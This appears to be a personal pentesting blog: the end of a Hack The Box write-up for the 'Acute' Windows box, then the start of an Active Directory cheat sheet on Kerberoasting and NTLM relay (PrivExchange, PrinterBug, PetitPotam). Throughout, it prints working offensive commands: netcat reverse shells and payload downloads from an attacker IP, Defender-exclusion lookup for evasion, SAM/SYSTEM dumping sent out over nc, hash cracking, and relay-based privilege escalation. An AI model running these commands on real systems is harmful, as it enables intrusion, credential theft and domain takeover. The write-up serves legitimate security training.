errors when I first tried to configure it and simply ignored them, so I was glad I eventually got it working. Then there was LDAP: you need to inspect all of the information yourself, because something useful may be hidden in the info field.\nI got stuck far too often during privilege escalation. BloodHound did not show me a direct relationship from the user to the group. Here I learned that the current user is not the only possible starting point; the user\u0026rsquo;s group can be one too. Resource-based constrained delegation itself was not a major problem, since there are plenty of tutorials online. The real obstacle was antivirus evasion. I could not find an antivirus-safe build of Rubeus.exe online. There was one for Mimikatz, but generating an ST with it seemed more complicated. The command I pieced together did not work, and Google did not turn up anyone using Mimikatz to generate an ST; everyone used Rubeus.exe. Fortunately, I eventually realized that since I had reached the last step—generating the ST—I could use Impacket instead. Ports 88 and 389 were open on the target, which made that possible. If they had been closed, I might have needed another approach. And I learned the most important lesson of all: when using Impacket tools, synchronize the clock first.\nOverall, this was a pretty good box.\n23.Acute Recon:\nThere was nothing there, but I\u0026rsquo;d run into this situation before, so I checked the certificate.\nThat gave me a domain name.\nStill nothing, but HTTPS was accessible now.\nWhatWeb fingerprinted it as a .NET site.\n1 2 whatweb https://atsserver.acute.local/ https://atsserver.acute.local/ [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[Microsoft-IIS/10.0], IP[10.10.11.145], JQuery, Microsoft-IIS[10.0], Open-Graph-Protocol[website], Script[text/html,text/javascript], Title[Acute Health | Health, Social and Child care Training], X-Powered-By[ASP.NET] I added asp and aspx to the extensions and started brute-forcing. At the same time, I used FFUF to brute-force subdomains and looked around for any endpoints on the site.\n1 2 gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x txt,js,html,asp,aspx -k -t 50 -u https://atsserver.acute.local/ wfuzz -c -w /usr/share/wordlists/SecLists-master/Discovery/DNS/bitquark-subdomains-top100000.txt -u https://10.10.11.145 -H \u0026#34;Host: FUZZ.acute.local\u0026#34; --hc 404 The brute-force scans didn\u0026rsquo;t give me much.\nThere was a file in the top-right corner. I downloaded it, and its creator was FCastle.\nIt mentioned a login URL.\n1 2 The University’s staff induction pages can be found at: https://atsserver.acute.local/Staff The Staff Induction portal can be found here: https://atsserver.acute.local/Staff/Induction It also mentioned a default password.\n1 Password1! At the end, it said Lois was the administrator—the only administrator.\nAt this point, I felt I still hadn\u0026rsquo;t gathered everything, so I went back through it line by line and translated and reviewed everything again.\nPSWA? I searched for it.\nIt turned out to be a web-based PowerShell interface for running commands. What this seemed to mean was that new users could execute commands in the browser through PSWA. I already had the default password; now I needed the login page and a username.\nThere were several hyperlinks here. I checked them one by one, and they all pointed to https://atsserver.acute.local/.\n1 https://atsserver.acute.local/Acute_Staff_Access I found the login page. I still needed a username.\nThe directory brute-force scan seemed to have already given me the answer, because this was the only accessible file on the site. I\u0026rsquo;d noticed the same thing while browsing manually.\nNow I had usernames.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 Aileen Wallace Charlotte Hall Evan Davies Ieuan Monks oshua Morgan Lois Hopkins Aileen Wallace Charlotte Hall Evan Davies Ieuan Monks oshua Morgan Lois Hopkins FCastle The JavaScript was obfuscated. There weren\u0026rsquo;t many users anyway, so trying them manually was fine.\nI tried every one of them, and none worked. The problem might have been here:\nI went back to the Word document to see whether it contained anything else, but it didn\u0026rsquo;t. There were a few scattered details, none of them important. I checked the website again and found nothing there either. Finally, I looked at the file metadata and found a hostname.\n1 2 3 Acute-PC01 edavies Password1! I was in.\nThere was no flag in the home directory.\nThis wasn\u0026rsquo;t the domain controller. It was most likely a domain member, and WinRM was enabled.\nThe current user had a home directory, but it wasn\u0026rsquo;t under the normal users. Strangely, I couldn\u0026rsquo;t find the current user in net user. Was the current user not a regular user?\nThere wasn\u0026rsquo;t much information, so I planned to upload winPEASany.exe and take a look.\nFirst, I figured I\u0026rsquo;d pop a shell. Uploading it directly got it killed. Do these last few boxes actually expect AV evasion? I uploaded netcat and used it for a reverse shell.\n1 2 C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe iwr http://10.10.16.14:33333/ncexe/netcat.exe -OutFile .\\netcat.exe .\\netcat.exe 10.10.16.14 6666 -e cmd Got it.\nI uploaded winPEAS.bat, but even the BAT version was killed. I had no idea how to proceed, so I checked the box description.\nI had no idea how I was supposed to discover JEA from anything other than the description, so I decided to read some write-ups and see how other people approached it.\nThey all mentioned a Utils directory containing a desktop.ini file.\nhttps://petri.com/microsoft-defender-exclusions-list-windows-10/\nThis blog pointed out that attackers can read the Microsoft Defender exclusions list.\n1 reg query \u0026#34;HKLM\\SOFTWARE\\Microsoft\\Windows Defender\\Exclusions\u0026#34; /s winPEASany also reported it.\nThat made the logic click. The next time I run into antivirus, I can query the excluded directories this way.\nYou could actually see it here too: uploading winPEAS to this directory allowed it to be uploaded and executed. As usual, I focused on the red findings. I\u0026rsquo;ve written the information I collected below.\n1 2 C:\\Users\\edavies\\AppData\\Roaming\\Microsoft\\Windows\\PowerShell\\PSReadLine\\ConsoleHost_history.txt C:\\Users\\edavies\\AppData\\Local\\Microsoft\\Edge\\User Data\\ZxcvbnData\\2.0.0.0\\passwords.txt I worked through them one at a time.\nThere was nothing useful. The write-up showed an entry under RDP Sessions, but mine didn\u0026rsquo;t have one.\nI also ran:\n1 2 qwinsta /server:127.0.0.1 qwinsta session Maybe I needed to restart, but that still didn\u0026rsquo;t work. OSCP allows Metasploit once, and every write-up used Metasploit for this step, which I never would have expected. The idea was this: Metasploit\u0026rsquo;s PowerShell session could see the RDP session above, and Metasploit can monitor the desktop. While monitoring it, you can see a script run and capture it. I never would have thought of that. No matter how I looked at it, it didn\u0026rsquo;t feel logical. When I get stuck, I often read one particular author\u0026rsquo;s write-ups, and he never uses Metasploit. I\u0026rsquo;d been reading his work for ages, and this was the first time I\u0026rsquo;d seen him use it. This was what he said:\nAnd that\u0026rsquo;s true. For things like screenshots, Metasploit is incredibly convenient. This box was rated hard yet still held a 4.5 rating, and most people considered it medium-to-hard. There had to be a reason for that later on.\nI generated a Metasploit payload and caught a shell. I uploaded winPEAS and scanned as usual. It looked like this had nothing to do with the Metasploit shell; the session simply wasn\u0026rsquo;t there.\nI\u0026rsquo;ll leave this here for reference. Knowing the route and how to record it is enough. This was really the last resort. Time to start taking screenshots.\nI didn\u0026rsquo;t have enough privileges to view the screen.\nI didn\u0026rsquo;t know what I\u0026rsquo;d done wrong. I thought it might be a permissions issue: perhaps the PSWA session had more privileges than the netcat reverse shell? That was the only difference between my setup and the write-ups. I restarted from that step. If that really was the issue, at least I\u0026rsquo;d have learned something new: if a command can be run through PSWA, don\u0026rsquo;t bounce it through netcat.\nStill notfound.\nIt didn\u0026rsquo;t exist.\nIt didn\u0026rsquo;t exist.\nAs it turned out, starting PowerShell after getting a netcat CMD shell and then popping another shell was no different from using PSWA. Of course it wasn\u0026rsquo;t—I had only imagined there might be a difference.\nThe Metasploit payloads were all the same, because there was no reason they wouldn\u0026rsquo;t be. This had nothing to do with Metasploit. I couldn\u0026rsquo;t shake the feeling that something was wrong with the target. I\u0026rsquo;m skipping over a day here: I shut the box down completely because I had other things to do and didn\u0026rsquo;t continue. When I started it again the next day, everything was normal.\nHow strange.\nNow there was a screen. During that day, I also learned that OSCP allows unlimited use of Metasploit for listeners and payload generation. The one-use limit applies only when using it to launch exploits.\n1 sharp\\imonks w3_4R3_th3_f0rce. Judging from his command, he was connecting to ATSSERVER through the WinRM service.\nI just needed to put his command together.\n1 2 3 $pass = ConvertTo-SecureString \u0026#34;W3_4R3_th3_f0rce.\u0026#34; -AsPlainText -Force $cred = New-Object System.Management.Automation.PSCredential(\u0026#34;ACUTE\\imonks\u0026#34;, $pass) Enter-PSSession -ComputerName ATSSERVER -Credential $cred -ConfigurationName dc_manage It threw an error.\nThere were still other ways to work with WinRM, though. For example, the blog below covers most WinRM operations.\nhttps://www.west.cn/docs/133652.html\n1 2 invoke-command -computername ATSSERVER -Credential $cred -ThrottleLimit 1 -ScriptBlock { whoami } -ConfigurationName dc_manage invoke-command -computername ATSSERVER -Credential $cred -ThrottleLimit 1 -ScriptBlock { cat C:\\users\\imonks\\desktop\\user.txt } -ConfigurationName dc_manage I could build the commands above to read the flag. I uploaded netcat.exe to get an interactive shell.\n1 invoke-command -computername ATSSERVER -Credential $cred -ThrottleLimit 1 -ScriptBlock { C:\\\\utils\\\\netcat.exe 10.10.16.14 6666 -e cmd } -ConfigurationName dc_manage It didn\u0026rsquo;t seem to work. The existing access was usable anyway, so I started digging through files.\n1 2 3 4 $securepasswd = \u0026#39;01000000d08c9ddf0115d1118c7a00c04fc297eb0100000096ed5ae76bd0da4c825bdd9f24083e5c0000000002000000000003660000c00000001000000080f704e251793f5d4f903c7158c8213d0000000004800000a000000010000000ac2606ccfda6b4e0a9d56a20417d2f67280000009497141b794c6cb963d2460bd96ddcea35b25ff248a53af0924572cd3ee91a28dba01e062ef1c026140000000f66f5cec1b264411d8a263a2ca854bc6e453c51\u0026#39; $passwd = $securepasswd | ConvertTo-SecureString $creds = New-Object System.Management.Automation.PSCredential (\u0026#34;acute\\jmorgan\u0026#34;, $passwd) Invoke-Command -ScriptBlock {Get-Volume} -ComputerName Acute-PC01 -Credential $creds This file contained jmorgan\u0026rsquo;s password. As with the earlier box, it was a secure password. I\u0026rsquo;d encountered this on Omni, and some of the underlying mechanism came back to me: an encrypted string can only be decrypted under the user account that created it, and only on the computer where it was encrypted. I ran the command above as the current user and on my own Windows machine, then tried:\n1 $Creds.GetNetworkCredential().password Only then did I remember this. It really had been a while since that box. I\u0026rsquo;ll review all my notes when I go back through Hack The Box later.\nSo the only option was to construct a command that made imonks run it on ATSSERVER.\n1 Invoke-Command -ScriptBlock { $securepasswd = \u0026#39;01000000d08c9ddf0115d1118c7a00c04fc297eb0100000096ed5ae76bd0da4c825bdd9f24083e5c0000000002000000000003660000c00000001000000080f704e251793f5d4f903c7158c8213d0000000004800000a000000010000000ac2606ccfda6b4e0a9d56a20417d2f67280000009497141b794c6cb963d2460bd96ddcea35b25ff248a53af0924572cd3ee91a28dba01e062ef1c026140000000f66f5cec1b264411d8a263a2ca854bc6e453c51\u0026#39;; $passwd = $securepasswd | ConvertTo-SecureString; $creds = New-Object System.Management.Automation.PSCredential (\u0026#34;acute\\jmorgan\u0026#34;, $passwd); $creds.GetNetworkCredential().Password } -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred I just needed to import the credential first, then read it with $Creds.GetNetworkCredential().password.\nIt errored. Since I couldn\u0026rsquo;t export the credential either, I decided to build the command directly.\n1 2 3 4 5 6 7 Invoke-Command -ScriptBlock { $securepasswd = \u0026#39;01000000d08c9ddf0115d1118c7a00c04fc297eb0100000096ed5ae76bd0da4c825bdd9f24083e5c0000000002000000000003660000c00000001000000080f704e251793f5d4f903c7158c8213d0000000004800000a000000010000000ac2606ccfda6b4e0a9d56a20417d2f67280000009497141b794c6cb963d2460bd96ddcea35b25ff248a53af0924572cd3ee91a28dba01e062ef1c026140000000f66f5cec1b264411d8a263a2ca854bc6e453c51\u0026#39;; $passwd = $securepasswd | ConvertTo-SecureString; $creds = New-Object System.Management.Automation.PSCredential (\u0026#34;acute\\jmorgan\u0026#34;, $passwd); $netcatCmd = \u0026#34;C:\\utils\\netcat.exe 10.10.16.14 6666 -e cmd\u0026#34;; Start-Process -FilePath \u0026#34;cmd.exe\u0026#34; -ArgumentList \u0026#34;/c $netcatCmd\u0026#34; -Credential $creds } -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred This command used the inner credential to execute the reverse-shell command.\nBut just like before, it wouldn\u0026rsquo;t execute.\nI glanced at a write-up. It pointed out that the outer user could modify wm.ps1 and then execute it. That worked around the current user\u0026rsquo;s inability to run a process with the inner credential.\n1 2 3 4 Invoke-Command -ScriptBlock { ((cat ..\\desktop\\wm.ps1 -Raw) -replace \u0026#39;Get-Volume\u0026#39;, \u0026#39;C:\\utils\\netcat.exe -e cmd 10.10.16.14 6666\u0026#39;) | sc -Path ..\\desktop\\wm.ps1 } -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred Invoke-Command -ScriptBlock { cat ..\\desktop\\wm.ps1 } -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred # Run it directly below Invoke-Command -ScriptBlock { C:\\users\\imonks\\desktop\\wm.ps1 } -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred The shell came back successfully.\nThe first thing to do as a new user was still whoami /priv.\nYou could see that plenty of privileges were enabled.\n1 SharpEfsPotato.exe -p C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\powershell.exe -a \u0026#34;whoami | Set-Content C:\\Utils\\w.log\u0026#34; No problem. The Potato exploit could take me straight to SYSTEM.\nNothing? What I\u0026rsquo;d been worried about had happened after all. I\u0026rsquo;d already noticed something was off when I checked the IP. The machine referred to as DC01 really was this DC01. My earlier guess was right too: it was a domain member. To attack a domain controller from a member host, you\u0026rsquo;d usually need an exploit or some exposed service on the DC. But I didn\u0026rsquo;t even have the domain controller\u0026rsquo;s real IP yet. The host on 443 was the domain controller, but most of its services weren\u0026rsquo;t exposed. That meant they should be reachable internally. I might need to build a tunnel and attack the domain controller through it.\nWas its real IP still 10.10.11.145? I wasn\u0026rsquo;t sure, because connecting to port 445 there failed. Maybe this was only an edge server. There was another route: the target had PSWA enabled, and I could switch users locally. The administrator account clearly had .ACUTE appended. As I understood it, that suggested it was a domain user, with the domain appended to its name. When I was learning this, I created two accounts with the same name. For example, if the local account was called john and I wanted to join the domain, I also had to create a domain account. If the domain account name conflicted with the local account—say I created another account called john—the domain name would be appended so the local computer could distinguish them.\nWhat I knew so far was that the target had PSWA enabled and the current user could switch users. So I could dump SAM and SYSTEM, crack the hashes, and try credential reuse. If things lined up, I might be able to get straight into the domain.\n1 2 reg save HKLM\\SYSTEM SystemBkup.hiv reg save HKLM\\SAM SamBkup.hiv I chose to transfer them with nc here. SMB seemed to error out.\n1 2 3 4 5 6 nc -l -p 10000 \u0026gt; SamBkup.hiv .\\netcat.exe -n 10.10.16.14 10000 \u0026lt; SamBkup.hiv nc -l -p 10000 \u0026gt; SystemBkup.hiv .\\netcat.exe -n 10.10.16.14 10000 \u0026lt; SystemBkup.hiv /usr/share/doc/python3-impacket/examples/secretsdump.py -sam SamBkup.hiv -system SystemBkup.hiv LOCAL 1 2 3 4 5 6 7 Administrator and Natasha use the same password Otherwise, hashcat can also be used echo \u0026#34;a29f7623fd11550def0192de9246f46b\u0026#34; \u0026gt; hash.txt hashcat -m 1000 hash.txt /usr/share/wordlists/rockyou.txt Password@123 I couldn\u0026rsquo;t get in from the outside. Internally, of course, I could. The current target was ATSSERVER. I was already SYSTEM on DC01, so there was nothing else I needed there. PSWA presumably didn\u0026rsquo;t allow access to ATSSERVER either, which meant it was only reachable internally. I tried using several local accounts for remote access.\n1 2 3 $pass = ConvertTo-SecureString \u0026#34;Password@123\u0026#34; -AsPlainText -Force $cred = New-Object System.Management.Automation.PSCredential(\u0026#34;ACUTE\\user\u0026#34;, $pass) Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred -ScriptBlock { whoami } None of them worked. I checked another write-up and had no idea where the author had found the user—it simply appeared. I went back to the beginning and noticed the username awallace, an abbreviation of the first user\u0026rsquo;s name. I never would have thought of that. I checked more write-ups to see what their reasoning had been.\nAnd I really did find the answer: any domain member account has permission to query this information.\n1 2 3 4 5 6 # List available PowerShell commands Invoke-Command -computername ATSSERVER -ConfigurationName dc_manage -credential $cred -command {get-command} # List domain users Invoke-Command -computername ATSSERVER -ConfigurationName dc_manage -credential $cred -ScriptBlock {net user /domain} Invoke-Command -computername ATSSERVER -ConfigurationName dc_manage -credential $cred -ScriptBlock {net user awallace /domain} I started trying these accounts. As it happened, awallace\u0026rsquo;s password was Password@123.\n1 2 3 $pass = ConvertTo-SecureString \u0026#34;Password@123\u0026#34; -AsPlainText -Force $cred = New-Object System.Management.Automation.PSCredential(\u0026#34;ACUTE\\awallace\u0026#34;, $pass) Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred -ScriptBlock { whoami } Everything after this was too difficult, so all I could do was reproduce it step by step. Finding what was on the target computer would take a lot of time, and that was the next step. Before that, I tried to get a reverse shell.\n1 2 Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred -ScriptBlock { C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe iwr http://10.10.16.14:33333/netexe/netcat.exe -OutFile .\\netcat.exe } Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred -ScriptBlock { iwr http://10.10.16.14:33333/netexe/netcat.exe -OutFile .\\netcat.exe } That didn\u0026rsquo;t work. I went back to following the write-up and used this to browse the files.\n1 Invoke-Command -ScriptBlock { ls \u0026#39;\\program files\\keepmeon\u0026#39; } -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred Then I read the file inside.\n1 Invoke-Command -ScriptBlock { cat \u0026#39;\\program files\\keepmeon\\keepmeon.bat\u0026#39; } -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred 1 2 3 4 5 REM This is run every 5 minutes. For Lois use ONLY @echo off for /R %%x in (*.bat) do ( if not \u0026#34;%%x\u0026#34; == \u0026#34;%~0\u0026#34; call \u0026#34;%%x\u0026#34; ) This script ran every five minutes and was for Lois only.\n1 2 3 4 5 /R recursively searches all paths *.bat matches all batch files %%x iterates over and stores each discovered path %~0 is the current script If %%x is not %~0 (the current script), call executes it And it ran as Lois. Did that mean I only needed to drop a BAT file containing a reverse shell? I\u0026rsquo;d already imported the credential, so I checked which commands were available.\n1 Invoke-Command -computername ATSSERVER -ConfigurationName dc_manage -credential $cred -command {Get-command} I couldn\u0026rsquo;t use tools like curl. I couldn\u0026rsquo;t tell whether this machine could reach mine. If it could, I thought I could just pop a reverse shell directly. I tried writing a BAT file.\n1 Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred -ScriptBlock { Set-Content -Path \u0026#34;C:\\program files\\keepmeon\\1.bat\u0026#34; -Value \u0026#39;curl http://10.10.16.14:33333/ncexe/netcat.exe -o \u0026#34;C:\\program files\\keepmeon\\netcat.exe\u0026#34;\u0026#39; } 1 2 Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred -ScriptBlock { ls \u0026#34;\\program files\\keepmeon\\\u0026#34; } Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred -ScriptBlock { cat \u0026#34;\\program files\\keepmeon\\1.bat\u0026#34; } No problem. I still needed the reverse shell, though, so I wrote a 2.bat as well.\n1 Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred -ScriptBlock { Set-Content -Path \u0026#34;C:\\program files\\keepmeon\\2.bat\u0026#34; -Value \u0026#39;C:\\program files\\keepmeon\\netcat.exe 10.10.16.14 8888 -e cmd\u0026#39; } 1 2 Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred -ScriptBlock { ls \u0026#34;\\program files\\keepmeon\\\u0026#34; } Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred -ScriptBlock { cat \u0026#34;\\program files\\keepmeon\\2.bat\u0026#34; } No problem. Now I just had to wait. While I waited, I thought about the next step. If the domain controller really couldn\u0026rsquo;t reach my attack machine, could I use DC01 as a pivot? What I wasn\u0026rsquo;t sure about was DC01\u0026rsquo;s IP—it looked like it was inside a container. I didn\u0026rsquo;t know whether the domain controller could reach DC01. Even if I disabled the firewall, I had no way to verify it. And with the task only running every five minutes, testing was a hassle. I\u0026rsquo;d verify it at the end.\nI waited for ages without any response. Back to the write-up.\nI checked the administrator groups. This still followed the hint in the Word document from the beginning: although Lois wasn\u0026rsquo;t a domain administrator, she could add other users to the site administrators.\n1 Invoke-Command -ScriptBlock { net group /domain } -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred This was the group. Next, I checked its details.\n1 Invoke-Command -ScriptBlock { net group Site_Admin /domain } -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred The description said people were only added in emergencies and that the group could access the domain controller administrators group. According to the write-up, Site_Admin had been added directly as a member of the domain controller administrators group. In other words, users added to this group would have the same privileges as domain administrators. Lois could add users to it, so I only needed to construct a command that added the current user, awallace.\n1 2 Invoke-Command -ScriptBlock { Set-Content -Path \u0026#39;\\program files\\keepmeon\\3.bat\u0026#39; -Value \u0026#39;net group site_admin awallace /add /domain\u0026#39;} -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred Invoke-Command -ScriptBlock { cat \u0026#39;\\program files\\keepmeon\\3.bat\u0026#39; } -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred Then I just had to keep watching.\n1 Invoke-Command -ScriptBlock { net group Site_Admin /domain } -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred I started waiting again. I was beginning to doubt whether it really ran every five minutes, because my 1.bat hadn\u0026rsquo;t created netcat.exe. The most likely explanation was that the network connection failed, so the file was never downloaded. To test that theory—and because I wanted to know whether the task was running at all—I wrote another file.\n1 Invoke-Command -ScriptBlock { Set-Content -Path \u0026#39;C:\\program files\\keepmeon\\4.bat\u0026#39; -Value \u0026#39;echo \u0026#34;1\u0026#34; \u0026gt; 1.txt\u0026#39; } -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred I\u0026rsquo;d previously gotten an error when using \u0026gt; to write to a file, but it was still worth testing.\nI waited a long time and still saw nothing. I shut the box down, started it again, and repeated the previous steps.\nnetcat was created, which meant the script had run successfully.\nThere was still no result, but in fact\u0026hellip;\nI could already access the flag.\nDone.\nI left the box running for the moment. After all, I\u0026rsquo;d written a BAT file containing a reverse shell, so I wanted to wait a little longer and shut it down if nothing happened. This box was incredibly difficult. Looking back after finishing it, it almost seemed manageable, but while I was fumbling around without a clear direction, none of these ideas came to mind. Some directories, for example, simply had to be searched over and over. The attack chain and the supporting evidence were both very complete, but the box was still brutally hard. I didn\u0026rsquo;t build a single tunnel during this attempt; all the lateral movement used native commands from inside the network. Even so, it wasn\u0026rsquo;t that cumbersome. Once I had control of DC01, I could keep moving laterally from there. This was an extremely useful box for learning.\nThere were three boxes left at this point, but I decided not to continue. For one thing, I\u0026rsquo;d already registered for OSCP and needed to start working through the labs. For another, the more boxes I completed, the harder they became. A single box could take me one or two days. I planned to try the OSCP labs first and see how difficult they were.\n","date":"2024-12-12T12:29:00+08:00","permalink":"/p/hackthebox-windows-boxes/","title":"Hack The Box: Windows Box Notes"},{"content":"1. WSMan/WinRM WinRM Uses Ports 5985 (HTTP) and 5986 (HTTPS) by Default If WinRM is enabled on the domain controller, once we get hold of an account:\n1 2 3 4 5 6 # Use crackmapexec to check privileges crackmapexec winrm \u0026lt;DC_IP\u0026gt; -u svc-account -p password --shares # Try WinRM evil-winrm -i \u0026lt;DC_IP\u0026gt; -u svc-account -p password Bypass-4MSI switches to cmd ","date":"2024-11-25T12:00:00+08:00","permalink":"/p/active-directory-common-techniques/","title":"Active Directory Pentesting: Common Techniques"},{"content":"1. SPN SPN Basics: SPN stands for Service Principal Name and uniquely identifies a service instance in a domain environment Its usual format is: service type/hostname For example: HTTP/webserver.domain.com Why SPNs Matter: They are a key part of Kerberos authentication When a user accesses a service, its SPN is used to obtain a Kerberos ticket for that service A service account\u0026rsquo;s SPN information is stored in Active Directory Why Scan for SPNs: Discover services registered in the domain Identify potential service accounts Prepare for a later Kerberoasting attack Lab Setup 1 2 3 4 5 6 7 8 9 10 11 powershell.exe # Import the AD module first Import-Module ActiveDirectory Then create the service account New-ADUser -Name \u0026#34;SQLService\u0026#34; -SamAccountName \u0026#34;SQLService\u0026#34; -AccountPassword (ConvertTo-SecureString \u0026#34;Password123!\u0026#34; -AsPlainText -Force) -Enabled $true # Run on the domain controller # Register an SPN for SQLService setspn -A MSSQLSvc/dc.test.local:1433 SQLService # Verify successful registration setspn -L SQLService Exploitation from a Non-Domain Machine: 1 2 3 4 5 # Use the acquired credentials GetUserSPNs.py domain.com/compromised_user:password -dc-ip \u0026lt;DC_IP\u0026gt; -request # If you obtained a hash, you can also authenticate with it GetUserSPNs.py -hashes LM:NT domain.com/user -dc-ip \u0026lt;DC_IP\u0026gt; -request This is what gets returned when authentication succeeds.\nAn error returns this instead.\nStep-by-Step Exploitation: 1 2 3 4 5 6 7 8 9 10 11 # Step 1: Enumerate SPNs GetUserSPNs.py domain.com/user:password -dc-ip \u0026lt;DC_IP\u0026gt; # Step 2: Request tickets (the -request option) GetUserSPNs.py domain.com/user:password -dc-ip \u0026lt;DC_IP\u0026gt; -request # Step 3: Save tickets to a file GetUserSPNs.py domain.com/user:password -dc-ip \u0026lt;DC_IP\u0026gt; -request -output tickets.txt # Step 4: Crack the tickets with hashcat hashcat -m 13100 tickets.txt wordlist.txt Strategies for Different Situations: Domain user credentials available: use GetUserSPNs.py directly Only an NTLM hash available: use the -hashes argument A ticket is available: use the -k argument for ticket-based authentication Things to Keep in Mind: Scanning activity may be detected A large number of ticket requests may trigger alerts Keep scans targeted and avoid broad probing Real-World Example: 1 2 3 4 5 6 7 8 # For example, find the SQL service SPN GetUserSPNs.py domain.com/user:pass -dc-ip 192.168.1.100 # The output may show: # MSSQLSvc/DBSERVER.domain.com:1433 # Obtain a ticket for this service GetUserSPNs.py domain.com/user:pass -dc-ip 192.168.1.100 -request -target-service MSSQLSvc/DBSERVER.domai /usr/share/doc/python3-impacket/examples/GetUserSPNs.py intelligence.htb/Ted.Graves:Mr.Teddy -dc-ip 10.10.10.248 -request -request-user SVC_INT$ 2. Cracking Domain Service Accounts https://github.com/nidem/kerberoast\nThis is much like the method above; the difference is the situation where you use it. The first method requires a domain member\u0026rsquo;s username and password. The second requires access to a domain-joined host, after which it can be run on that machine.\n1 setspn -T PENTEST.com -Q */* For convenience, I ran it directly on the domain controller. If a domain member account also has access to this sqlserver, it will show up as well.\n1 2 Extract the obtained tickets from Mimikatz memory kerberos::list /export 1 tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi No longer supported? The approach below also works—just convert it for hashcat.\n1 2 python /usr/share/john/kirbi2john.py ticket.kirbi \u0026gt; hash.txt hashcat -m 13100 hash.txt word.txt 3. NTLM Relay (1) Privexchange https://dirkjanm.io/abusing-exchange-one-api-call-away-from-domain-admin/\nhttps://github.com/dirkjanm/privexchange/\nhttps://github.com/ridter/exchange2domain\nExchange server \u0026mdash;-authentication request\u0026mdash;-\u0026gt; our relay server \u0026mdash;-modified and forwarded\u0026mdash;-\u0026gt; domain controller (high privilege) (modified authentication content) (LDAP service)\nIn practice, we set up an NTLM relay. The Exchange server\u0026rsquo;s authentication request passes through our relay, which modifies and forwards it to grant our account DCSync rights.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 Requirements: ● An Exchange server exists and is reachable ● A domain user account (must have a mailbox) ○ A username and password are required ○ Or access to a domain user account has already been obtained Optional conditions: ● When operating from a domain-joined host, the current user\u0026#39;s credentials can be used ● Domain account credentials are unnecessary if a man-in-the-middle position is available # Required tools - ntlmrelayx.py (Impacket toolkit) - privexchange.py (PrivExchange tool) # Required information - Exchange server IP/hostname - Domain controller IP - Domain name - Credentials for a domain user with a mailbox There are two possible situations.\n1 2 3 Use known domain user credentials directly The user must have a mailbox The attack can be initiated externally or internally 1 2 3 Requires access to the domain network Requires a man-in-the-middle position Uses another user\u0026#39;s authentication request 1 2 3 4 5 6 7 8 9 10 11 1. Setup phase User (with a mailbox) -----\u0026gt; Exchange \u0026#34;Configure a notification to send to http://ATTACKER_IP\u0026#34; 2. Exchange processing phase Exchange ----authentication required----\u0026gt; ATTACKER_IP \u0026#34;I am the Exchange server and I am sending the notification\u0026#34; 3. Man-in-the-middle operation Exchange authentication ----relay----\u0026gt; Domain controller LDAP \u0026#34;Relay Exchange authentication to the domain controller to modify permissions\u0026#34; Setting Up the NTLM Relay: This package is included with impacket.\n1 2 ntlmrelayx.py -t ldap://dc-ip --escalate-user ATTACKER_USER ntlmrelayx.py -t ldap://192.168.0.111 --escalate-user test1 This step sets up the \u0026ldquo;man in the middle\u0026rdquo; It gets ready to receive Exchange authentication and forward it to the DC Triggering Exchange Authentication: https://github.com/dirkjanm/privexchange/\n1 2 privexchange.py -ah ATTACKER_IP EXCHANGE_SERVER -u DOMAIN_USER -d DOMAIN_NAME privexchange.py -ah 192.168.0.110 exchange01.test.local -u test1 -d test.local Abuse the PushSubscription feature Make the Exchange server authenticate to our relay server (2) Printerbug (NTLM Authentication) This is a protocol design issue, not a vulnerability.\nhttps://github.com/dirkjanm/krbrelayx/blob/master/printerbug.py\nLab setup:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 Environment requirements: - The Print service is enabled on Windows Server - The Spooler service is running - Domain user access (no special privileges required); any user will work Checks: # Check whether the Print service is running Get-Service Spooler # Start the service if it is not enabled Start-Service Spooler Set-Service Spooler -StartupType Automatic It is generally enabled by default 1 2 3 4 5 6 7 8 9 10 11 12 # Basic usage python printerbug.py DOMAIN_NAME/USERNAME:PASSWORD@TARGET_IP ATTACKER_IP # Specific example python printerbug.py test.local/TestUser:Password123!@192.168.0.110 192.168.0.103 python ntlmrelayx.py -t ldaps://192.168.0.110 --escalate-user TestUser test.local -\u0026gt; Domain name TestUser -\u0026gt; Username Password123 -\u0026gt; Password 192.168.0.111 -\u0026gt; Target IP (DC) 192.168.0.103 -\u0026gt; Attacker IP (3) PetitPotam (NTLM Authentication) This is affected by CVE-2021-36942.\nThe rough range is Windows Server 2008 through 2019.\nhttps://github.com/topotam/PetitPotam\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 Environment requirements: - Windows Server - The MS-EFSRPC service is available - Domain user access (no special privileges required) Checks: # Check whether the RPC and EFS services are 